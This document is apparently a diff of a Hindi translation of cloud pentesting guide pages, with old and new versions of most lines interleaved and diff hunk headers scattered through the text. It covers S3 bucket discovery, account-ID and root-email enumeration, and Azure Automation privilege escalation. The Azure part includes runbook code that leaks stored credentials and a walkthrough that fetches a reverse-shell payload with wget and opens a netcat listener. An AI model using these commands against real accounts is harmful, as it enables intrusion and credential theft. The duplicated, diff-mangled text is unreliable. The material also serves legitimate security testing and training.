- **[s3dns](https://github.com/olizimmermann/s3dns)** एक lightweight DNS server जो DNS ट्रैफ़िक का विश्लेषण करके passive तरीके से cloud storage buckets (S3, GCP, Azure) की पहचान करता है। यह CNAMEs का पता लगाता है, resolution chains का पालन करता है, और bucket patterns से मेल खाता है, brute-force या API-आधारित खोज का एक शांत विकल्प प्रदान करता है। recon और OSINT workflows के लिए उपयुक्त
- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) चेक करें, एक वेब जो पहले से ही **discovered open buckets** रखता है।
- **bucket name** और **bucket domain name** को **एक ही** होना चाहिए।
- **flaws.cloud** का IP 52.92.181.107 है और यदि आप वहाँ जाहैं तो यह आपको [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) पर redirect कर देता है। साथ ही, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` देता है।
- यह जाँचने के लिए कि यह एक bucket है, आप [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) पर भी visit कर सकते हैं।
- **CNAMES** check करें, क्योंकि `resources.domain.com` CNAME `bucket.s3.amazonaws.com` हो सकता है
- **[s3dns](https://github.com/olizimmermann/s3dns)** एक lightweight DNS server जो DNS traffic का analysis करके cloud storage buckets (S3, GCP, Azure) को passively identify करता है। यह CNAMEs detect करता है, resolution chains follow करता है, और bucket patterns match करता है, जिससे brute-force या API-based discovery का एक quiet alternative मिलता है। recon और OSINT workflows के लिए perfect
- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) देखें, एक web जिसमें पहले से **discovered open buckets** है
- **bucket name** और **bucket domain name** को **same** होना चाहिए।
- **flaws.cloud** का **IP** 52.92.181.107 है, और वहाँ जापर यह आपको [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) पर redirect करता है। साथ ही, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` देता है।
- यह bucket है या नहीं, check करने के लिए आप [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) भी **visit** कर सकते हैं।
#### Brute-Force
आप pentesting कर रहे कंपनी से संबंधित नामों को **brute-force** करके buckets ढूँढ सकते हैं:
आप जिन companies का pentesting कर रहे हैं, उनसे संबंधित names को **brute-force** करके buckets खोज सकते हैं:
- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (potential bucket names की एक list शामिल है)
- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
@@ -78,15 +78,15 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck
#### Loot S3 Buckets
यदि S3 open buckets मौजूद हों, तो [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी खोज** सकता है।
Open S3 buckets मिलने पर, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) automatically **interesting information खोज** सकता है।
### Find the Region
आप AWS द्वारा सपोर्ट किए गए सभी regions को यहाँ पा सकते हैं: [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
आप AWS द्वारा supported सभी regions [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) में पा सकते हैं
#### By DNS
आप `dig` और `nslookup` से bucket का region प्राप्त कर सकते हैं, इसके लिए खोजे गए IP क **DNS request** करं:
आप **`dig`** और **`nslookup`** का उपयोग करके, discovered IP क **DNS request** करके bucket का region पता कर सकते हैं:
```bash
dig flaws.cloud
;; ANSWER SECTION:
@@ -96,31 +96,31 @@ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```
Check that the resolved domain have the word "website".\
आप स्टैटिक वेबसाइट तक पहुँच सकते हैं: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
या आप bucket को विजिट करके एक्सेस कर सकते हैं: `flaws.cloud.s3-us-west-2.amazonaws.com`
resolved domain में "website" शब्द होना चाहिए।\
आप static website को यहाँ जाकर access कर सकते हैं: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
या आप bucket को यहाँ जाकर access कर सकते हैं: `flaws.cloud.s3-us-west-2.amazonaws.com`
#### By Trying
यदि आप किसी bucket तक पहुँचने की कोशिश करते हैं, लेकिन **डोमेन नाम में आप किसी दूसर region का उल्लेख करते हैं** (उदाहरण के लिए bucket `bucket.s3.amazonaws.com` में है पर आप `bucket.s3-website-us-west-2.amazonaws.com` पर पहुँचने की कोशिश करते हैं), तो आपको **सही स्थान दिखा दिया जाएगा**:
अगर आप किसी bucket को access करने की कोशिश करते हैं, लेकिन **domain name में आप कोई दूसर region specify करते हैं** (उदाहरण के लिए bucket `bucket.s3.amazonaws.com` में है लेकिन आप `bucket.s3-website-us-west-2.amazonaws.com` से access करने की कोशिश करते हैं, तो आपको **correct location** दिखाई जाएगी:
![](<../../../images/image (106).png>)
![S3 XML PermanentRedirect response showing the correct bucket endpoint after querying the wrong region](<../../../images/image (106).png>)
### Enumerating the bucket
Bucket की openness की जाँच करने के लिए उपयोगकर्ता बस URL को अपने वेब ब्राउज़र में दर्ज कर सकत है। एक private bucket "Access Denied" के साथ प्रतिक्रिया करेगा। एक public bucket पहले 1,000 objects को सूचीबद्ध करेगा।
bucket की openness test करने के लिए user बस web browser में URL enter कर सकत है। एक private bucket "Access Denied" के साथ respond करेगा। एक public bucket stored first 1,000 objects list करेगा।
Open to everyone:
![](<../../../images/image (201).png>)
![S3 public bucket XML listing object keys and metadata](<../../../images/image (201).png>)
Private:
![](<../../../images/image (83).png>)
![S3 XML AccessDenied response for a private bucket](<../../../images/image (83).png>)
You can also check this with the cli:
आप इसे cli के साथ भी check कर सकते हैं:
```bash
#Use --no-sign-request for check Everyones permissions
#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
@@ -128,19 +128,18 @@ You can also check this with the cli:
#Opcionally you can select the region if you now it
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
```
यदि bucket का कोई डोमेन नाम नहीं है, से enumerate करने की कोशिश करते समय, **केवल bucket name डालें** और पूर AWSs3 डोमेन को नहीं। उदाहरण: `s3://<BUCKETNAME>`
यदि bucket में domain name नहीं है, तो उसे enumerate करते समय **केवल bucket name** डालें और पूर AWSs3 domain नहीं। उदाहरण: `s3://<BUCKETNAME>`
### सार्वजनिक URL टेम्पलेट
### Public URL template
```
https://{user_provided}.s3.amazonaws.com
```
### public Bucket से Account ID प्राप्त करें
### सार्वजनिक Bucket से Account ID प्राप्त करें
नई **`S3:ResourceAccount`** **Policy Condition Key** का उपयोग करके किसी AWS account का पता लगाया जा सकता है।
यह शर्त उस **S3 bucket** के आधार पर **access** प्रतिबंधित करती है जिसमें account होता है (अन्य account-आधारित नीतियाँ उस account के आधार पर restriction लगाती हैं जिसमें requesting principal होता है)।
और क्योंकि policy में **wildcards** हो सकते हैं, इसलिए account number को **एक समय में सिर्फ एक अंक** के आधार पर पाया जा सकता है।
एक AWS account को new **`S3:ResourceAccount`** **Policy Condition Key** का फायदा उठाकर determine किया जा सकता है। यह condition **S3 bucket के आधार पर access restrict** करती है जिसमें account मौजूद है (अन्य account-based policies requesting principal वाले account के आधार पर restrict करती हैं).\
और क्योंकि policy में **wildcards** सकते हैं, इसलिए account number को **एक-एक number करके** find करना possible है।
यह tool इस प्रक्रिया को automate करता है:
यह tool इस process को automate करता है:
```bash
# Installation
pipx install s3-account-search
@@ -150,11 +149,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
# With an object
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
```
यह तकनीक API Gateway URLs, Lambda URLs, Data Exchange data sets के साथ भी काम करती है और tags क value भी प्राप्त करने के लिए इस्तेमाल हो सकती है (यदि आप tag key जानते हैं)। आप इस exploitation को automate करने के लिए अधिक जानकारी [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) में पा सकते हैं।
यह technique API Gateway URLs, Lambda URLs, Data Exchange data sets के साथ भी काम करती है और tags क value (अगर आपको tag key पता हो) निकालने के लिए भी। आप [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस exploitation को automate करने के लिए tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी पा सकते हैं।
### किसी bucket का AWS account से संबंधित होना सत्यापित करना
### Confirming a bucket belongs to an AWS account
जैसा कि [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)** में समझाया गया है, यदि आपके पास किसी bucket को list करने की permissions हैं** तो यह संभव है कि आप accountID की पुष्टि कर सकें जिससे वह bucket संबंधित है, इस तरह का request भेजकर:
जैसा कि [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)** में बताया गया है, अगर आपके पास bucket को list करने की permissions हैं** तो यह request भेजकर यह confirm करना possible है कि bucket किस accountID से belong करती है:
```bash
curl -X GET "[bucketname].amazonaws.com/" \
-H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -162,11 +161,11 @@ curl -X GET "[bucketname].amazonaws.com/" \
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
```
यदि त्रुटि “Access Denied” है तो इसका मतलब है कि account ID गलत था।
यदि error “Access Denied” है, तो इसका मतलब है कि account ID गलत था।
### root account enumeration के लिए इस्तेमाल किए गए Emails
### root account enumeration के लिए emails का उपयोग
जैसा कि [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, यह जांचना संभव है कि कोई ईमेल पता किसी AWS account से संबंधित है या नहीं, S3 bucket पर ACLs के माध्यम से **किसी ईमेल को permissions देने की कोशिश**रके। यदि इससे कोई त्रुटि ट्रिगर नहीं होत, तो इसका मतलब है कि वह ईमेल किसी AWS account का root user है:
जैसा कि [**इस blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, यह check करना possible है कि कोई email address किसी AWS account से related है या नहीं, इसके लिए S3 bucket पर ACLs के जरिए **email को permissions देने की कोशिश**ी जाती है। अगर इससे error trigger नहीं होत, तो इसका मतलब है कि वह email किसी AWS account का root user है:
```python
s3_client.put_bucket_acl(
Bucket=bucket_name,
@@ -4,7 +4,7 @@
## Azure Automation Accounts
अधिक जानकारी के लिए देखें:
Fore more information check:
{{#ref}}
../az-services/az-automation-accounts.md
@@ -14,27 +14,27 @@
- **From the Automation Account to the VM**
याद रखें कि यदि किसी तरह कोई attacker किसी hybrid worker में arbitrary runbook (arbitrary code) को execute कर सक, तो वह **VM के स्थान पर pivot कर जाएगा**। यह किसी on-premise मशीन, किसी दूसरे cloud का VPC या यहा तक कि एक Azure VM भी हो सकता है।
याद रखें कि अगर किसी तरह कोई attacker क hybrid worker में arbitrary runbook (arbitrary code) execute कर सकता है, तो वह **VM के location पर pivot** करेगा। यह क on-premise machine, किसी अलग cloud का VPC, या यहा तक कि एक Azure VM भी हो सकता है।
इसके अलावा, यदि hybrid worker Azure में चल रहा है और उसके साथ अन्य Managed Identities attached है, तो runbook **managed identity of the runbook और VM की सभी managed identities को metadata service से access कर सकेगा**
इसके अलावा, अगर hybrid worker Azure में अन्य attached Managed Identities के साथ चल रहा है, तो runbook **runbook की managed identity और VM की सभी managed identities को metadata service से access** कर सकेगा।
> [!TIP]
> ध्या रखें कि **metadata service** का अलग URL है (**`http://169.254.169.254`**) और यह उस service से अलग है जहाँ से automation account के managed identities token (**`IDENTITY_ENDPOINT`**) मिलते हैं
> या रखें कि **metadata service** का URL automation account के managed identities token लेने वाली service से अलग होता है (**`IDENTITY_ENDPOINT`**) और वह है (**`http://169.254.169.254`**)
- **From the VM to the Automation Account**
इसके अलावा, यदि कोई व्यक्ति उस VM को compromise कर ले जहां एक automation account script चल रही है, तो वह **Automation Account** के metadata को locate कर सकता है और VM से access करके Automation Account से attached **Managed Identities** के tokens प्राप्त कर सकता है
इसके अलावा, अगर कोई उस VM को compromise कर लेता है जहां automation account script चल रही है, तो वह **Automation Account** metadata locate करके VM से उसे access कर सकेगा, ताकि Automation Account से attached **Managed Identities** के tokens प्राप्त कर सक
जैसा कि नीचे की इमेज में देखा जा सकता है, VM पर Administrator access होने पर process के **environment variables** में automation account metadata service को access करने के लिए URL और secret पाया जा सकता है:
जैसा कि निम्न image में देखा जा सकता है, VM पर Administrator access होने पर **process के environment variables** में automation account metadata service तक पहुंचने के लिए URL और secret ढूंढना संभव है:
![](</images/vm_to_aa.jpg>)
![Process Explorer view of an Azure Automation worker process exposing automation account metadata environment variables](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
संक्षेप में ये permissions Automation Account में **Runbooks को create, modify और run करने** की अनुमति देती हैं, जिनका उपयोग आप Automation Account के context में **code execute** करने के लिए कर सकते हैं और assigned **Managed Identities** पर privileges escalate करके Automation Account में stored **credentials** और **encrypted variables** को leak कर सकते हैं।
संक्षेप में, ये permissions Automation Account में **Runbooks create, modify और run**रने की अनुमति देती हैं, जिनका उपयोग आप **code execute** करने के लिए Automation Account के context में कर सकते हैं और assigned **Managed Identities** तक privilege escalate कर सकते हैं, साथ ही Automation Account में stored **credentials** और **encrypted variables** leak कर सकते हैं।
permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** आपको Automation Account में किसी Runbook के कोड को modify करने की अनुमति देत है, इसका उपयोग करके:
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account में क Runbook के code को निम्न का उपयोग करके modify करने की अनुमति देत है:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
ध्यान दें कि पिछले स्क्रिप्ट का उपयोग credential के **leak the useranmd and password** और Automation Account में संग्रहित एक **encrypted variable** के मान को प्राप्त करने के लिए किया जा सकता है।
ध्यान दें कि पिछले script का उपयोग किसी credential के **useranmd और password** और Automation Account में stored किसी **encrypted variable** के value को **leak** करने के लिए कैसे किया जा सकता है।
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** उपयोगकर्ता को Automation Account में Runbook प्रकाशित करने की अनुमति देत है ताकि परिवर्तन लागू हो सकें:
permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** user को Automation Account में एक Runbook publish करने की अनुमति देत है, ताकि changes लागू हो सकें:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
अनुमति **`Microsoft.Automation/automationAccounts/jobs/write`** उपयोगकर्ता को Automation Account में Runbook चलाने की अनुमति देती है:
अनुमति **`Microsoft.Automation/automationAccounts/jobs/write`** उपयोगकर्ता को Automation Account में एक Runbook चलाने की अनुमति देती है, इसका उपयोग करके:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
अनुमति **`Microsoft.Automation/automationAccounts/jobs/output/read`** उपयोगकर्ता को Automation Account में किसी job का आउटपुट पढ़ने की अनुमति देती है, उपयोग करके:
अनुमति **`Microsoft.Automation/automationAccounts/jobs/output/read`** उपयोगकर्ता को Automation Account में किसी job के output को read करने की अनुमति देती है, using:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
यदि Runbooks बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो इसे करने के लिए आपको **अनुमतियाँ `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी:
यदि Runbooks बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो आपको इसे करने के लिए **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
यह अनुमति उपयोगकर्ता को निम्न का उपयोग करके Automation Account पर **user managed identity असाइन करने** की अनुमति देती है:
यह permission user को **एक user managed identity** को Automation Account से assign करने की अनुमति देती है, using:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
अनुमति **`Microsoft.Automation/automationAccounts/schedules/write`** होने पर Automation Account में एक नया Schedule बनाया जा सकता है जो निम्नलिखित कमांड का उपयोग करके हर 15 मिनट पर चलाया जाता है (not very stealth)।
अनुमति **`Microsoft.Automation/automationAccounts/schedules/write`** के साथ Automation Account में एक नया Schedule बनाना संभव है, जो निम्न command का उपयोग करके हर 15 minutes पर execute होता है (बहुत stealth नहीं)।
ध्यान दें कि **किसी Schedule का न्यूनतम अंतराल 15 मिनट है**, और **न्यूनतम प्रारंभ समय भविष्य में 5 मिनट** होना चाहिए
ध्यान दें कि **schedule के लिए minimum interval 15 minutes है**, और **minimum start time भविष्य में 5 minutes है**
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
फिर, अनुमति **`Microsoft.Automation/automationAccounts/jobSchedules/write`** के साथ, निम्न का उपयोग करके एक Scheduler को runbook पर असाइन करना संभव है:
फिर, अनुमति **`Microsoft.Automation/automationAccounts/jobSchedules/write`** के साथ यह संभव है कि एक Scheduler को runbook पर इस तरह assign किया जाए:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,13 +134,13 @@ az rest --method PUT \
}'
```
> [!TIP]
> पिछले उदाहरण में jobchedule id को **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** के रूप में छोड़ा गया था, लेकिन इस असाइनमेंट को बनाने के लिए आपको एक मनमाना मान उपयोग करन होग
> पिछले उदाहरण में jobchedule id को **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** के रूप में छोड़ा गया था, लेकिन इस assignemnt को बनाने के लिए आपको एक arbitrary value उपयोग करन होग
### `Microsoft.Automation/automationAccounts/webhooks/write`
इस अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ आप निम्नलिखित कमांडों में से किसी एक का उपयोग करके किसी Automation Account के अंदर किसी Runbook के लिए नया Webhook बना सकते हैं
**`Microsoft.Automation/automationAccounts/webhooks/write`** permission के साथ Automation Account के अंदर किसी Runbook के लिए एक नया Webhook बनाना संभव है, निम्न commands में से किसी एक का उपयोग करके
Azure Powershell का उपयोग करके:
With Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
@@ -160,14 +160,14 @@ az rest --method put \
}
}'
```
ये commands एक webhook URI वापस करेंगे जो केवल बनाए जाने पर दिखता है। फिर, webhook URI का उपयोग करके runbook को कॉल करने के लिए
ये commands एक webhook URI return करनी चाहिए जो केवल creation के समय दिखाई जाती है। फिर, runbook को webhook URI का उपयोग करके call करने के लिए
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` होने पर बिना प्रकाशित किए **Runbook का कोड अपडेट करना** और उसे निम्नलिखित कमांड्स का उपयोग करके चलाना संभव है।
केवल `Microsoft.Automation/automationAccounts/runbooks/draft/write` permission के साथ **एक Runbook के code को update करना** possible है, बिना इसे publish किए, और निम्न commands का उपयोग करके इसे run किया जा सकता है।
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
यह अनुमति उपयोगकर्ता को Automation Account के लिए **source control को कॉन्फ़िगर करने** की अनुमति देत है, निम्नलिखित commands का उपयोग करके (यह Github का उदाहरण है):
यह permission user को `Automation Account` के लिए **source control configure** करने की अनुमति देत है, निम्नलिखित जैसे commands का उपयोग करके (यह `Github` को example के रूप में use करता है):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -208,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
यह Github repository से runbooks को Automation Account में स्वचालित रूप से import करेगा और उन्हें चलाने की कुछ अन्य permissions मिलने पर यह **possible to escalate privileges** हो सकता है
यह Github repository से runbooks को Automation Account में automatically import करेगा और कुछ अन्य permission के साथ उन्हें run करना शुरू करने के लिए **privileges escalate करना संभव** होगा
इसके अलावा, याद रखें कि source control के लिए Automation Accounts में काम करने हेतु इसमें एक managed identity होनी चाहिए जिसका role **`Contributor`** हो, और अगर यह एक user managed identity है तो MI का client id वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में specify करना होगा
इसके अलावा, याद रखें कि Automation Accounts में source control के काम करने के लिए इसमें **`Contributor`** role वाली managed identity होनी चाहिए और अगर यह user managed identity है तो MI का cleint id variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में specified होना चाहिए
> [!TIP]
> ध्यान दें कि एक बार source control बनाने के बाद उसके repo URL को बदलना संभव नहीं है।
> ध्यान दें कि एक बार source control create हो जाने के बाद उसके repo URL को change करना possible नहीं है।
### `Microsoft.Automation/automationAccounts/variables/write`
permission **`Microsoft.Automation/automationAccounts/variables/write`** से Automation Account में variables लिखना निम्नलिखित command का उपयोग करके संभव है।
`Microsoft.Automation/automationAccounts/variables/write` permission के साथ following command का उपयोग करके Automation Account में variables write करना possible है।
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -231,53 +231,53 @@ az rest --method PUT \
}
}'
```
### कस्टम रनटाइम एन्वायरनमेंट्स
### Custom Runtime Environments
यदि कोई automation account किसी कस्टम runtime environment का उपयोग कर रहा है, तो runtime के किसी कस्टम पैकेज को कुछ malicious code (जैसे **a backdoor**) से overwrite करना संभव हो सकता है। इस तरह, जब भी उस custom runtime का उपयोग करने वाला runbook execute होगा और custom package को load करेगा, तो malicious code execute हो जाएगा।
यदि कोई automation account custom runtime environment का उपयोग कर रहा है, तो संभव है कि runtime के custom package को कुछ malicious code (जैसे **a backdoor**) से overwrite किया जा सके। इस तरह, जब भी उस custon runtime का उपयोग करने वाला runbook execute किया जाता है और custom package load करता है, malicious code execute हो जाएगा।
### State Configuration से समझौता
### Compromising State Configuration
**पूर्ण पोस्ट देखें:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**पूरी post यहां देखें:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Step 1 — फ़ाइलें बनाना
- Step 1 — Create Files
**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट आवश्यक है:
1. `reverse_shell_config.ps1`: एक Desired State Configuration (DSC) फ़ाइल जो payload को fetch कर के execute करती है। इसे [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकत है।
2. `push_reverse_shell_config.ps1`: कॉन्फ़िगरेशन को VM पर publish करने के लिए एक स्क्रिप्ट, उपलब्ध है [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर।
**आवश्यक Files:** दो PowerShell scripts की जरूरत है:
1. `reverse_shell_config.ps1`: एक Desired State Configuration (DSC) file जो payload fetch और execute करती है। यह [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त क जा सकत है।
2. `push_reverse_shell_config.ps1`: VM पर configuration publish करने के लिए script, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है
**कस्टमाइज़ेशन:** इन फ़ाइलों में मौजूद variables और parameters को उपयोगकर्ता के specific environment के अनुसार अनुकूलित करना होगा, जिसमें resource names, file paths, और server/payload identifiers शामिल हैं।
**Customization:** इन files में variables और parameters को user के specific environment के अनुसार tailor करना होगा, जिसमें resource names, file paths, और server/payload identifiers शामिल हैं।
- Step 2 — कॉन्फ़िगरेशन फ़ाइल को Zip करना
- Step 2 — Zip Configuration File
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में compress किया जाता है, ताकि इसे Azure Storage Account पर transfer करने के लिए तैयार किया जा सके
`reverse_shell_config.ps1` को `.zip` file में compress किया जाता है, जिससे यह Azure Storage Account में transfer के लिए ready हो जाता है
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- चरण 3 — स्टोरेज संदर्भ सेट करें और अपलोड
- Step 3 — Set Storage Context & Upload
ज़िप की गई कॉन्फ़िगरेशन फ़ाइल को पहले से परिभाषित Azure Storage कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
ज़िप की गई configuration file को एक predefined Azure Storage container, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके upload किया जाता है।
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- चरण 4 — Kali Box की तैयार
- Step 4 — Kali Box तैयार करें
Kali सर्वर RevPS.ps1 payload को एक GitHub repository से डाउनलोड करता है।
Kali server GitHub repository से RevPS.ps1 payload डाउनलोड करता है।
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
स्क्रिप्ट को लक्षित Windows VM और reverse shell के लिए पोर्ट निर्दिष्ट करने हेतु संपादित किया गया है।
स्क्रिप्ट को target Windows VM और reverse shell के लिए port specify करने के लिए edited किया गया है।
- Step 5 — कॉन्फ़िगरेशन फ़ाइल प्रकाशित करें
- Step 5 — Configuration File को Publish करें
कॉन्फ़िगरेशन फ़ाइल निष्पादित की जाती है, जिसे reverse-shell स्क्रिप्ट Windows VM पर निर्दिष्ट स्थान पर तैनात हो जाती है।
Configuration file execute की जाती है, जिस परिणामस्वरूप reverse-shell script specified location पर Windows VM में deployed हो जाती है।
- Step 6 — Payload होस्ट करें और Listener सेटअप करें
- Step 6 — Payload Host करें और Listener Setup करें
Payload होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को पकड़ने के लिए एक Netcat listener भी सेट किया जाता है
Payload host करने के लिए एक Python SimpleHTTPServer start किया जाता है, साथ ही incoming connections capture करने के लिए एक Netcat listener भी।
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
यह scheduled task payload को चलाता है, जिससे SYSTEM-level privileges प्राप्त होत हैं।
Scheduled task payload को execute करती है, जिससे SYSTEM-level privileges प्राप्त होत हैं।
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,11 +4,11 @@
## Basic Information
